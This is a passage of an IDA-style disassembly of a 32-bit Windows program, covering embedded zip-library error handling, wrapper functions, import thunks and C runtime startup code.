mov dword ptr [ebp-8], offset aCuldnTDuplicat ; "Culdn't duplicate handle"
jmp loc_410F7C
; ---------------------------------------------------------------------------
loc_410EC7: ; CODE XREF: HSho:00410D76j
mov dword ptr [ebp-8], offset aCouldnTCreateO ; "Couldn't create/open file"
jmp loc_410F7C
; ---------------------------------------------------------------------------
loc_410ED3: ; CODE XREF: HSho:00410D9Fj
mov dword ptr [ebp-8], offset aFailedToAlloca ; "Failed to allocate memory"
jmp loc_410F7C
; ---------------------------------------------------------------------------
loc_410EDF: ; CODE XREF: HSho:00410DACj
mov dword ptr [ebp-8], offset aErrorWritingTo ; "Error writing to file"
jmp loc_410F7C
; ---------------------------------------------------------------------------
loc_410EEB: ; CODE XREF: HSho:00410D60j
mov dword ptr [ebp-8], offset aFileNotFoundIn ; "File not found in the zipfile"
jmp loc_410F7C
; ---------------------------------------------------------------------------
loc_410EF7: ; CODE XREF: HSho:00410DD4j
mov dword ptr [ebp-8], offset aStillMoreDataT ; "Still more data to unzip"
jmp short loc_410F7C
; ---------------------------------------------------------------------------
loc_410F00: ; CODE XREF: HSho:00410DE1j
mov dword ptr [ebp-8], offset aZipfileIsCorru ; "Zipfile is corrupt or not a zipfile"
jmp short loc_410F7C
; ---------------------------------------------------------------------------
loc_410F09: ; CODE XREF: HSho:00410DC7j
mov dword ptr [ebp-8], offset aErrorReadingFi ; "Error reading file"
jmp short loc_410F7C
; ---------------------------------------------------------------------------
loc_410F12: ; CODE XREF: HSho:00410DF3j
mov dword ptr [ebp-8], offset aCallerFaultyAr ; "Caller: faulty arguments"
jmp short loc_410F7C
; ---------------------------------------------------------------------------
loc_410F1B: ; CODE XREF: HSho:00410E5Dj
mov dword ptr [ebp-8], offset aCallerTheFileH ; "Caller: the file had already been parti"...
jmp short loc_410F7C
; ---------------------------------------------------------------------------
loc_410F24: ; CODE XREF: HSho:00410D4Aj
mov dword ptr [ebp-8], offset aCallerCanOnlyG ; "Caller: can only get memory of a memory"...
jmp short loc_410F7C
; ---------------------------------------------------------------------------
loc_410F2D: ; CODE XREF: HSho:00410E31j
mov dword ptr [ebp-8], offset aCallerNotEnoug ; "Caller: not enough space allocated for "...
jmp short loc_410F7C
; ---------------------------------------------------------------------------
loc_410F36: ; CODE XREF: HSho:00410E3Ej
mov dword ptr [ebp-8], offset aCallerThereWas ; "Caller: there was a previous error"
jmp short loc_410F7C
; ---------------------------------------------------------------------------
loc_410F3F: ; CODE XREF: HSho:00410E24j
mov dword ptr [ebp-8], offset aCallerAddition ; "Caller: additions to the zip have alrea"...
jmp short loc_410F7C
; ---------------------------------------------------------------------------
loc_410F48: ; CODE XREF: HSho:00410E0Ej
mov dword ptr [ebp-8], offset aCallerMixingCr ; "Caller: mixing creation and opening of "...
jmp short loc_410F7C
; ---------------------------------------------------------------------------
loc_410F51: ; CODE XREF: HSho:00410E85j
mov dword ptr [ebp-8], offset aZipBugInternal ; "Zip-bug: internal initialisation not co"...
jmp short loc_410F7C
; ---------------------------------------------------------------------------
loc_410F5A: ; CODE XREF: HSho:00410E92j
mov dword ptr [ebp-8], offset aZipBugTryingTo ; "Zip-bug: trying to seek the unseekable"
jmp short loc_410F7C
; ---------------------------------------------------------------------------
loc_410F63: ; CODE XREF: HSho:00410E50j
mov dword ptr [ebp-8], offset aZipBugTheAntic ; "Zip-bug: the anticipated size turned ou"...
jmp short loc_410F7C
; ---------------------------------------------------------------------------
loc_410F6C: ; CODE XREF: HSho:00410E78j
mov dword ptr [ebp-8], offset aZipBugTriedToC ; "Zip-bug: tried to change mind, but not "...
jmp short loc_410F7C
; ---------------------------------------------------------------------------
loc_410F75: ; CODE XREF: HSho:00410EA4j
mov dword ptr [ebp-8], offset aZipBugAnIntern ; "Zip-bug: an internal error during flati"...
loc_410F7C: ; CODE XREF: HSho:00410D93j
; HSho:00410DB2j ...
mov edx, [ebp-8]
push edx
call sub_41162E ; strlen
add esp, 4
mov [ebp-4], eax
cmp dword ptr [ebp+0Ch], 0
jz short loc_410F97
cmp dword ptr [ebp+10h], 0
jnz short loc_410F9C
loc_410F97: ; CODE XREF: HSho:00410F8Fj
mov eax, [ebp-4]
jmp short loc_410FD7
; ---------------------------------------------------------------------------
loc_410F9C: ; CODE XREF: HSho:00410F95j
mov eax, [ebp-4]
mov [ebp-0Ch], eax
mov ecx, [ebp-0Ch]
add ecx, 1
cmp ecx, [ebp+10h]
jbe short loc_410FB6
mov edx, [ebp+10h]
sub edx, 1
mov [ebp-0Ch], edx
loc_410FB6: ; CODE XREF: HSho:00410FABj
mov eax, [ebp-0Ch]
push eax
mov ecx, [ebp-8]
push ecx
mov edx, [ebp+0Ch]
push edx
call dword_41319C ; strncpy
add esp, 0Ch
mov eax, [ebp+0Ch]
add eax, [ebp-0Ch]
mov byte ptr [eax], 0
mov eax, [ebp-4]
loc_410FD7: ; CODE XREF: HSho:00410F9Aj
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410FDB proc near ; CODE XREF: sub_404A2D+26p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_410FDB
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push 23Ch
call sub_4114F4
add esp, 4
mov [ebp+var_1C], eax
mov [ebp+var_4], 0
cmp [ebp+var_1C], 0
jz short loc_411020
mov ecx, [ebp+var_1C]
call sub_4114C0
mov [ebp+var_28], eax
jmp short loc_411027
; ---------------------------------------------------------------------------
loc_411020: ; CODE XREF: sub_410FDB+36j
mov [ebp+var_28], 0
loc_411027: ; CODE XREF: sub_410FDB+43j
mov eax, [ebp+var_28]
mov [ebp+var_18], eax
mov [ebp+var_4], 0FFFFFFFFh
mov ecx, [ebp+var_18]
mov [ebp+var_10], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov ecx, [ebp+var_10]
call sub_40FE9E
mov ds:dword_41BCD4, eax
cmp ds:dword_41BCD4, 0
jz short loc_411072
mov edx, [ebp+var_10]
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
push eax
call sub_4114EE
add esp, 4
xor eax, eax
jmp short loc_41109A
; ---------------------------------------------------------------------------
loc_411072: ; CODE XREF: sub_410FDB+7Fj
push 8
call sub_4114F4
add esp, 4
mov [ebp+var_24], eax
mov ecx, [ebp+var_24]
mov [ebp+var_14], ecx
mov edx, [ebp+var_14]
mov dword ptr [edx], 1
mov eax, [ebp+var_14]
mov ecx, [ebp+var_10]
mov [eax+4], ecx
mov eax, [ebp+var_14]
loc_41109A: ; CODE XREF: sub_410FDB+95j
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_410FDB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4110A8 proc near ; CODE XREF: sub_404A2D+37p
; sub_404A2D+52p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_0], 0
jnz short loc_4110C5
mov ds:dword_41BCD4, 10000h
mov eax, 10000h
jmp short loc_411107
; ---------------------------------------------------------------------------
loc_4110C5: ; CODE XREF: sub_4110A8+Aj
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp dword ptr [ecx], 1
jz short loc_4110E4
mov ds:dword_41BCD4, 80000h
mov eax, 80000h
jmp short loc_411107
; ---------------------------------------------------------------------------
loc_4110E4: ; CODE XREF: sub_4110A8+29j
mov edx, [ebp+var_8]
mov eax, [edx+4]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov ecx, [ebp+var_4]
call sub_40FF4C
mov ds:dword_41BCD4, eax
mov eax, ds:dword_41BCD4
loc_411107: ; CODE XREF: sub_4110A8+1Bj
; sub_4110A8+3Aj
mov esp, ebp
pop ebp
retn
sub_4110A8 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 134h
cmp dword ptr [ebp+8], 0
jnz short loc_41112E
mov ds:dword_41BCD4, 10000h
mov eax, 10000h
jmp loc_411210
; ---------------------------------------------------------------------------
loc_41112E: ; CODE XREF: HSho:00411118j
mov eax, [ebp+8]
mov [ebp-134h], eax
mov ecx, [ebp-134h]
cmp dword ptr [ecx], 1
jz short loc_411156
mov ds:dword_41BCD4, 80000h
mov eax, 80000h
jmp loc_411210
; ---------------------------------------------------------------------------
loc_411156: ; CODE XREF: HSho:00411140j
mov edx, [ebp-134h]
mov eax, [edx+4]
mov [ebp-4], eax
lea ecx, [ebp-130h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov ecx, [ebp-4]
call sub_40FF4C
mov ds:dword_41BCD4, eax
cmp ds:dword_41BCD4, 0
jnz loc_41120B
mov eax, [ebp+10h]
mov ecx, [ebp-130h]
mov [eax], ecx
mov edx, [ebp+10h]
mov eax, [ebp-28h]
mov [edx+108h], eax
mov ecx, [ebp+10h]
mov edx, [ebp-24h]
mov [ecx+10Ch], edx
mov eax, [ebp-20h]
mov [ecx+110h], eax
mov ecx, [ebp+10h]
mov edx, [ebp-1Ch]
mov [ecx+114h], edx
mov eax, [ebp-18h]
mov [ecx+118h], eax
mov ecx, [ebp+10h]
mov edx, [ebp-14h]
mov [ecx+11Ch], edx
mov eax, [ebp-10h]
mov [ecx+120h], eax
mov ecx, [ebp+10h]
mov edx, [ebp-0Ch]
mov [ecx+124h], edx
mov eax, [ebp+10h]
mov ecx, [ebp-8]
mov [eax+128h], ecx
lea edx, [ebp-12Ch]
push edx
mov eax, [ebp+10h]
add eax, 4
push eax
call sub_411628 ; strcpy
add esp, 8
loc_41120B: ; CODE XREF: HSho:00411181j
mov eax, ds:dword_41BCD4
loc_411210: ; CODE XREF: HSho:00411129j
; HSho:00411151j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
cmp dword ptr [ebp+8], 0
jnz short loc_411231
mov ds:dword_41BCD4, 10000h
mov eax, 10000h
jmp short loc_41127B
; ---------------------------------------------------------------------------
loc_411231: ; CODE XREF: HSho:0041121Ej
mov eax, [ebp+8]
mov [ebp-8], eax
mov ecx, [ebp-8]
cmp dword ptr [ecx], 1
jz short loc_411250
mov ds:dword_41BCD4, 80000h
mov eax, 80000h
jmp short loc_41127B
; ---------------------------------------------------------------------------
loc_411250: ; CODE XREF: HSho:0041123Dj
mov edx, [ebp-8]
mov eax, [edx+4]
mov [ebp-4], eax
mov ecx, [ebp+18h]
push ecx
mov edx, [ebp+14h]
push edx
mov al, [ebp+10h]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov ecx, [ebp-4]
call sub_4105D7
mov ds:dword_41BCD4, eax
mov eax, ds:dword_41BCD4
loc_41127B: ; CODE XREF: HSho:0041122Fj
; HSho:0041124Ej
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 134h
cmp dword ptr [ebp+8], 0
jnz short loc_4112A2
mov ds:dword_41BCD4, 10000h
mov eax, 10000h
jmp loc_41138C
; ---------------------------------------------------------------------------
loc_4112A2: ; CODE XREF: HSho:0041128Cj
mov eax, [ebp+8]
mov [ebp-134h], eax
mov ecx, [ebp-134h]
cmp dword ptr [ecx], 1
jz short loc_4112CA
mov ds:dword_41BCD4, 80000h
mov eax, 80000h
jmp loc_41138C
; ---------------------------------------------------------------------------
loc_4112CA: ; CODE XREF: HSho:004112B4j
mov edx, [ebp-134h]
mov eax, [edx+4]
mov [ebp-4], eax
lea ecx, [ebp-130h]
push ecx
mov edx, [ebp+14h]
push edx
mov al, [ebp+10h]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov ecx, [ebp-4]
call sub_4105D7
mov ds:dword_41BCD4, eax
cmp ds:dword_41BCD4, 0
jnz loc_411387
mov edx, [ebp+18h]
mov eax, [ebp-130h]
mov [edx], eax
mov ecx, [ebp+18h]
mov edx, [ebp-28h]
mov [ecx+108h], edx
mov eax, [ebp+18h]
mov ecx, [ebp-24h]
mov [eax+10Ch], ecx
mov edx, [ebp-20h]
mov [eax+110h], edx
mov eax, [ebp+18h]
mov ecx, [ebp-1Ch]
mov [eax+114h], ecx
mov edx, [ebp-18h]
mov [eax+118h], edx
mov eax, [ebp+18h]
mov ecx, [ebp-14h]
mov [eax+11Ch], ecx
mov edx, [ebp-10h]
mov [eax+120h], edx
mov eax, [ebp+18h]
mov ecx, [ebp-0Ch]
mov [eax+124h], ecx
mov edx, [ebp+18h]
mov eax, [ebp-8]
mov [edx+128h], eax
lea ecx, [ebp-12Ch]
push ecx
mov edx, [ebp+18h]
add edx, 4
push edx
call sub_411628 ; strcpy
add esp, 8
loc_411387: ; CODE XREF: HSho:004112FDj
mov eax, ds:dword_41BCD4
loc_41138C: ; CODE XREF: HSho:0041129Dj
; HSho:004112C5j
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411390 proc near ; CODE XREF: sub_404A2D+64p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_0], 0
jnz short loc_4113AD
mov ds:dword_41BCD4, 10000h
mov eax, 10000h
jmp short loc_4113F7
; ---------------------------------------------------------------------------
loc_4113AD: ; CODE XREF: sub_411390+Aj
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp dword ptr [ecx], 1
jz short loc_4113CC
mov ds:dword_41BCD4, 80000h
mov eax, 80000h
jmp short loc_4113F7
; ---------------------------------------------------------------------------
loc_4113CC: ; CODE XREF: sub_411390+29j
mov edx, [ebp+var_8]
mov eax, [edx+4]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov ecx, [ebp+var_4]
call sub_4107B2
mov ds:dword_41BCD4, eax
mov eax, ds:dword_41BCD4
loc_4113F7: ; CODE XREF: sub_411390+1Bj
; sub_411390+3Aj
mov esp, ebp
pop ebp
retn
sub_411390 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4113FB proc near ; CODE XREF: sub_404A2D+72p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
cmp [ebp+arg_0], 0
jnz short loc_411418
mov ds:dword_41BCD4, 10000h
mov eax, 10000h
jmp short loc_411476
; ---------------------------------------------------------------------------
loc_411418: ; CODE XREF: sub_4113FB+Aj
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp dword ptr [ecx], 1
jz short loc_411437
mov ds:dword_41BCD4, 80000h
mov eax, 80000h
jmp short loc_411476
; ---------------------------------------------------------------------------
loc_411437: ; CODE XREF: sub_4113FB+29j
mov edx, [ebp+var_8]
mov eax, [edx+4]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
call sub_410CC8
mov ds:dword_41BCD4, eax
mov ecx, [ebp+var_4]
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
push edx
call sub_4114EE
add esp, 4
mov eax, [ebp+var_8]
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
push ecx
call sub_4114EE
add esp, 4
mov eax, ds:dword_41BCD4
loc_411476: ; CODE XREF: sub_4113FB+1Bj
; sub_4113FB+3Aj
mov esp, ebp
pop ebp
retn
sub_4113FB endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jnz short loc_411488
mov al, 1
jmp short loc_411499
; ---------------------------------------------------------------------------
loc_411488: ; CODE XREF: HSho:00411482j
mov eax, [ebp+8]
mov [ebp-4], eax
mov ecx, [ebp-4]
xor eax, eax
cmp dword ptr [ecx], 1
setz al
loc_411499: ; CODE XREF: HSho:00411486j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4114A0 proc near ; CODE XREF: sub_4107B2+339p
; sub_4107B2+355p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_413214 ; _mbsstr
add esp, 8
pop ebp
retn
sub_4114A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4114C0 proc near ; CODE XREF: sub_410FDB+3Bp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0FFFFFFFFh
mov edx, [ebp+var_4]
mov dword ptr [edx+134h], 0FFFFFFFFh
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4114C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4114EE proc near ; CODE XREF: sub_4010DD+16p
; sub_4019B0+1Dp ...
jmp dword_413104
sub_4114EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4114F4 proc near ; CODE XREF: sub_40103D+1Dp
; sub_404151+10p ...
jmp dword_413138
sub_4114F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4114FA proc near ; CODE XREF: sub_401ACF+99p
; sub_402C48+80p ...
jmp dword_413134
sub_4114FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411500 proc near ; CODE XREF: sub_401C92+CCp
jmp dword_413130
sub_411500 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411506 proc near ; CODE XREF: HSho:00402644p
; sub_402A1E+15Cp ...
jmp dword_41312C
sub_411506 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41150C proc near ; CODE XREF: HSho:00402638p
; sub_402A1E+B7p ...
jmp dword_413128
sub_41150C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411512 proc near ; CODE XREF: HSho:0040261Cp
; HSho:00402659p ...
jmp dword_413124
sub_411512 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411518 proc near ; CODE XREF: HSho:00402610p
; sub_402A1E+141p ...
jmp dword_413120
sub_411518 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41151E proc near ; CODE XREF: HSho:0040253Ap
; sub_402A1E+18p ...
jmp dword_41311C
sub_41151E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411524 proc near ; CODE XREF: sub_402A1E+129p
; sub_405150+114p ...
jmp dword_413118
sub_411524 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41152A proc near ; CODE XREF: sub_404605+16Cp
; sub_404605+292p ...
jmp dword_413114
sub_41152A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411530 proc near ; CODE XREF: sub_406374+7Fp
; sub_40671B+A9p ...
jmp dword_413110
sub_411530 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411536 proc near ; CODE XREF: sub_406374+72p
; sub_406374+CBp ...
jmp dword_41310C
sub_411536 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41153C proc near ; CODE XREF: sub_404B40+2E7p
; sub_404B40+40Ap
jmp dword_413108
sub_41153C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411542 proc near ; CODE XREF: sub_404B40+270p
; sub_404B40+3AAp
jmp dword_413100
sub_411542 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411548 proc near ; CODE XREF: sub_405150+43p
; sub_405150+54p ...
jmp dword_4130FC
sub_411548 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41154E proc near ; CODE XREF: sub_405E1F+12Fp
; sub_40831F+1B3p
jmp dword_4130F8
sub_41154E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411554 proc near ; CODE XREF: sub_405E1F+CCp
; sub_405E1F+14Fp
jmp dword_4130F4
sub_411554 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41155A proc near ; CODE XREF: sub_406374+DAp
; sub_40671B+104p ...
jmp dword_4130F0
sub_41155A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411560 proc near ; CODE XREF: sub_406374+B7p
; sub_406374+122p ...
jmp dword_4130EC
sub_411560 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411566 proc near ; CODE XREF: sub_406374+68p
; sub_406374+112p ...
jmp dword_4130E8
sub_411566 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41156C proc near ; CODE XREF: SEH_401109+5j
; sub_411A7A+5j ...
jmp dword_4131DC
sub_41156C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_411580 proc near ; CODE XREF: sub_401109+7Cp
cmp cl, 40h
jnb short loc_41159A
cmp cl, 20h
jnb short loc_411590
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_411590: ; CODE XREF: sub_411580+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_41159A: ; CODE XREF: sub_411580+3j
xor eax, eax
xor edx, edx
retn
sub_411580 endp
; =============== S U B R O U T I N E =======================================
sub_41159F proc near ; DATA XREF: HSho:off_414AD4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4117E8
test [esp+4+arg_0], 1
jz short loc_4115B5
push esi
call sub_4114EE
pop ecx
loc_4115B5: ; CODE XREF: sub_41159F+Dj
mov eax, esi
pop esi
retn 4
sub_41159F endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4115BC proc near ; CODE XREF: HSho:00401217p
; HSho:004012F2p ...
jmp dword_4131E0
sub_4115BC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4115D0 proc near ; CODE XREF: HSho:00401299p
; sub_40146A+1Ep ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_4115F0
loc_4115DC: ; CODE XREF: sub_4115D0+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_4115DC
loc_4115F0: ; CODE XREF: sub_4115D0+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_4115D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_411600 proc near ; CODE XREF: HSho:0040174Bp
cmp cl, 40h
jnb short loc_41161B
cmp cl, 20h
jnb short loc_411610
shrd eax, edx, cl
sar edx, cl
retn
; ---------------------------------------------------------------------------
loc_411610: ; CODE XREF: sub_411600+8j
mov eax, edx
sar edx, 1Fh
and cl, 1Fh
sar eax, cl
retn
; ---------------------------------------------------------------------------
loc_41161B: ; CODE XREF: sub_411600+3j
sar edx, 1Fh
mov eax, edx
retn
sub_411600 endp
; ---------------------------------------------------------------------------
align 2
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411622 proc near ; CODE XREF: sub_401ACF+29p
; HSho:00401C2Fp ...
jmp dword_413204
sub_411622 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411628 proc near ; CODE XREF: sub_402296+B1p
; sub_402296+FAp ...
jmp dword_4131FC
sub_411628 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41162E proc near ; CODE XREF: sub_402296+5Ap
; sub_40239F+Bp ...
jmp dword_4131F8
sub_41162E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411634 proc near ; CODE XREF: sub_4027A4+1E8p
; sub_409E20+CAp ...
jmp dword_4131C0
sub_411634 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41163A proc near ; CODE XREF: sub_402A1E+5p
; sub_402BB1+5p ...
jmp dword_4131BC
sub_41163A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411640 proc near ; CODE XREF: sub_402FAF+E8p
; sub_4030F7+125p ...
jmp dword_4131B8
sub_411640 endp
; =============== S U B R O U T I N E =======================================
sub_411646 proc near ; CODE XREF: sub_411672+4p
arg_0 = dword ptr 4
cmp ds:dword_41BD10, 0FFFFFFFFh
jnz short loc_41165B
push [esp+arg_0]
call dword_413220 ; _onexit
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41165B: ; CODE XREF: sub_411646+7j
push offset dword_41BD0C
push offset dword_41BD10
push [esp+8+arg_0]
call sub_4117EE ; __dllonexit
add esp, 0Ch
retn
sub_411646 endp
; =============== S U B R O U T I N E =======================================
sub_411672 proc near ; CODE XREF: sub_4082FE+8p
; sub_411891+21p
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_411646
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_411672 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411684 proc near ; CODE XREF: sub_40E8D4+11p
; sub_40FF4C+4B8p
jmp dword_41320C
sub_411684 endp
; ---------------------------------------------------------------------------
loc_41168A: ; CODE XREF: HSho:0041E714j
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_414AD8
push offset sub_411816
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 68h
push ebx
push esi
push edi
mov [ebp-18h], esp
xor ebx, ebx
mov [ebp-4], ebx
push 2
call dword_41324C ; __set_app_type
pop ecx
or ds:dword_41BD0C, 0FFFFFFFFh
or ds:dword_41BD10, 0FFFFFFFFh
call dword_413248 ; __p__fmode
mov ecx, ds:dword_41BCF4
mov [eax], ecx
call dword_413244 ; __p__commode
mov ecx, ds:dword_41BCF0
mov [eax], ecx
mov eax, dword_413240
mov eax, [eax]
mov ds:dword_41BD08, eax
call nullsub_1
cmp ds:dword_417BD0, ebx
jnz short loc_41170D
push offset sub_411812
call dword_41323C ; __setusermatherr
pop ecx
loc_41170D: ; CODE XREF: HSho:004116FFj
call sub_411800
push offset dword_417014
push offset dword_417010
call sub_4117FA ; _initterm
mov eax, ds:dword_41BCEC
mov [ebp-6Ch], eax
lea eax, [ebp-6Ch]
push eax
push ds:dword_41BCE8
lea eax, [ebp-64h]
push eax
lea eax, [ebp-70h]
push eax
lea eax, [ebp-60h]
push eax
call dword_413230 ; __getmainargs
push offset dword_41700C
push offset dword_417000
call sub_4117FA ; _initterm
add esp, 24h
mov eax, dword_413234
mov esi, [eax]
mov [ebp-74h], esi
cmp byte ptr [esi], 22h
jnz short loc_4117A0
loc_411766: ; CODE XREF: HSho:00411772j
inc esi
mov [ebp-74h], esi
mov al, [esi]
cmp al, bl
jz short loc_411774
cmp al, 22h
jnz short loc_411766
loc_411774: ; CODE XREF: HSho:0041176Ej
cmp byte ptr [esi], 22h
jnz short loc_41177D
loc_411779: ; CODE XREF: HSho:00411785j
inc esi
mov [ebp-74h], esi
loc_41177D: ; CODE XREF: HSho:00411777j
; HSho:004117A3j
mov al, [esi]
cmp al, bl
jz short loc_411787
cmp al, 20h
jbe short loc_411779
loc_411787: ; CODE XREF: HSho:00411781j
mov [ebp-30h], ebx
lea eax, [ebp-5Ch]
push eax
call dword_413084 ; GetStartupInfoA
test byte ptr [ebp-30h], 1
jz short loc_4117AB
movzx eax, word ptr [ebp-2Ch]
jmp short loc_4117AE
; ---------------------------------------------------------------------------
loc_4117A0: ; CODE XREF: HSho:00411764j
; HSho:004117A9j
cmp byte ptr [esi], 20h
jbe short loc_41177D
inc esi
mov [ebp-74h], esi
jmp short loc_4117A0
; ---------------------------------------------------------------------------
loc_4117AB: ; CODE XREF: HSho:00411798j
push 0Ah
pop eax
loc_4117AE: ; CODE XREF: HSho:0041179Ej
push eax
push esi
push ebx
push ebx
call dword_413088 ; GetModuleHandleA
push eax
call sub_4093D8
mov [ebp-68h], eax
push eax
call dword_41322C ; exit
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-78h], ecx
push eax
push ecx
call sub_4117F4 ; _XcptFilter
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-78h]
call dword_413224 ; _exit
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4117E8 proc near ; CODE XREF: sub_41159F+3p
jmp dword_413218
sub_4117E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4117EE proc near ; CODE XREF: sub_411646+23p
jmp dword_41321C
sub_4117EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4117F4 proc near ; CODE XREF: HSho:004117D4p
jmp dword_413228
sub_4117F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4117FA proc near ; CODE XREF: HSho:0041171Cp
; HSho:0041174Fp
jmp dword_413238
